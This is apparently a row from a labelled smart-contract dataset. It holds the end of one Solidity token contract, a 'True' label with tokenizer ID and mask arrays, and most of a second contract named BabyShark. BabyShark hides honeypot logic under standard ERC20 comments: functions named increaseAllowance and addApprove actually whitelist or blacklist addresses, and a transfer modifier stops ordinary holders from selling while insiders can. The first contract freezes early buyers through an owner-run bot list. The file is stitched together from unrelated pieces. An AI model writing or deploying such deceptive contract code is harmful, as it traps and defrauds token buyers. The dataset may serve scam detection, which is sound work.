require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
}
function updateTeamWallet(address newWallet) external onlyOwner {
_teamWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
function addBots(address[] memory bots) public onlyOwner() {
for (uint i = 0; i < bots.length; i++) {
if (bots[i] != uniswapV2Pair && bots[i] != address(uniswapV2Router)) {
isBot[bots[i]] = true;
}
}
}
function removeBots(address[] memory bots) public onlyOwner() {
for (uint i = 0; i < bots.length; i++) {
isBot[bots[i]] = false;
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!isBot[from], "Your address has been marked as a bot/sniper, you are unable to transfer or swap.");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (block.timestamp < _launchTime) isBot[to] = true;
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!_swapping
) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
// On buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
// On sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if (!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
!_swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
_swapping = true;
swapBack();
_swapping = false;
}
bool takeFee = !_swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) takeFee = false;
uint256 fees = 0;
// Only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// On swap
if ((automatedMarketMakerPairs[to] || automatedMarketMakerPairs[from]) && totalFees > 0) {
fees = amount.mul(totalFees).div(100);
_tokensForTeam += fees * _teamFee / totalFees;
_tokensForLiquidity += fees * _liquidityFee / totalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForTeam;
if (contractBalance == 0 || totalTokensToSwap == 0) return;
if (contractBalance > swapTokensAtAmount * 20) contractBalance = swapTokensAtAmount * 20;
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
_swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForTeam = ethBalance.mul(_tokensForTeam).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForTeam;
_tokensForTeam = 0;
_tokensForLiquidity = 0;
if (liquidityTokens > 0 && ethForLiquidity > 0) {
_addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity);
}
}
function claimEther() external {
payable(_teamWallet).transfer(address(this).balance);
}
receive() external payable {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5840,
1011,
5511,
1008,
1013,
1013,
1008,
1052,
1004,
1004,
1004,
1038,
28311,
1024,
1012,
1034,
1029,
1052,
1001,
1004,
1004,
1004,
1021,
1004,
1030,
1004,
1061,
2361,
2497,
1004,
1030,
1030,
1030,
1038,
999,
1012,
1012,
1012,
1012,
1012,
1012,
1046,
1001,
1030,
1030,
1030,
1001,
1031,
10373,
5123,
1033,
1030,
1052,
1031,
10373,
5123,
1033,
1030,
999,
1024,
1024,
1024,
1034,
1066,
1021,
2361,
1004,
1030,
1030,
1038,
1034,
1012,
1066,
1029,
1052,
2497,
1004,
1004,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1004,
1001,
1043,
28311,
1034,
1012,
1021,
1004,
1030,
1030,
1001,
1061,
999,
1034,
1034,
1024,
1024,
1024,
1031,
10373,
5123,
1033,
1030,
1024,
1004,
1030,
1001,
1034,
1034,
1066,
999,
999,
999,
1066,
1034,
1034,
1031,
10373,
5123,
1033,
1030,
1004,
1021,
1012,
1034,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1004,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1004,
1043,
1029,
1024,
1031,
10373,
5123,
1033,
1030,
1004,
1061,
1066,
1034,
1034,
1066,
999,
1021,
999,
1066,
1034,
1031,
10373,
5123,
1033,
1030,
1046,
1030,
1030,
1038,
1024,
1066,
6255,
2581,
2581,
2581,
2581,
999,
1034,
1024,
1034,
1031,
10373,
5123,
1033,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1004,
1004,
1001,
1001,
1001,
1001,
1030,
1030,
1030,
1001,
1001,
1001,
1001,
1004,
1004,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1046,
1024,
1024,
1066,
999,
6255,
2581,
2581,
2581,
2581,
1034,
1031,
10373,
5123,
1033,
1030,
1019,
1004,
1030,
1001,
1034,
1066,
6255,
2581,
2581,
2581,
2581,
2581,
1029,
1052,
1004,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1004,
1004,
1001,
1001,
1001,
1001,
1001,
1001,
1001,
1001,
1030,
1030,
1030,
1038,
1001,
1001,
1001,
1001,
1001,
1001,
1001,
1004,
1004,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1030,
1001,
1019,
1029,
6255,
2581,
2581,
2581,
2581,
2581,
1034,
1031,
10373,
5123,
1033,
1030,
1046,
1001,
1030,
1004,
1034,
1031,
10373,
5123,
1033,
1030,
1030,
1004,
1030,
1030,
1030,
1030,
1004,
1001,
1001,
1001,
1031,
10373,
5123,
1033,
1030,
1004,
4903,
13871,
13871,
18259,
2497,
1001,
1001,
1004,
1004,
1030,
1030,
1030,
1004,
1004,
1030,
1030,
1030,
1043,
1029,
6255,
2581,
2581,
2581,
1034,
1031,
10373,
5123,
1033,
1030,
1066,
1031,
10373,
5123,
1033,
1030,
999,
1034,
999,
6255,
3501,
1001,
1030,
1030,
1004,
1004,
1004,
1030,
1030,
1030,
1004,
1001,
1031,
10373,
5123,
1033,
1030,
1001,
4903,
9397,
9397,
9397,
26952,
18259,
2497,
1001,
1004,
1030,
1030,
1030,
1004,
1004,
1030,
1030,
1030,
1043,
2581,
2581,
2581,
1066,
1024,
1031,
10373,
5123,
1033,
1030,
1012,
1034,
1030,
1030,
1061,
1024,
1031,
10373,
5123,
1033,
1030,
1030,
1001,
1004,
1030,
1030,
1030,
1001,
1038,
13871,
9397,
9397,
9397,
9397,
9397,
26952,
1029,
1004,
1030,
1038,
2629,
21600,
9397,
9397,
9397,
9397,
9397,
13871,
2497,
1004,
1030,
1030,
1030,
1001,
1001,
1030,
1030,
1004,
1061,
999,
1034,
1034,
1004,
1030,
1001,
1004,
1030,
1004,
1024,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
// BabyShark ($SHARK)
// Website: https://www.babysharktoken.com
// Blog: https://www.babysharktoken.com/blog/
// Twitter: https://twitter.com/babysharktoken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.6;
/**
*
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract BabyShark is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
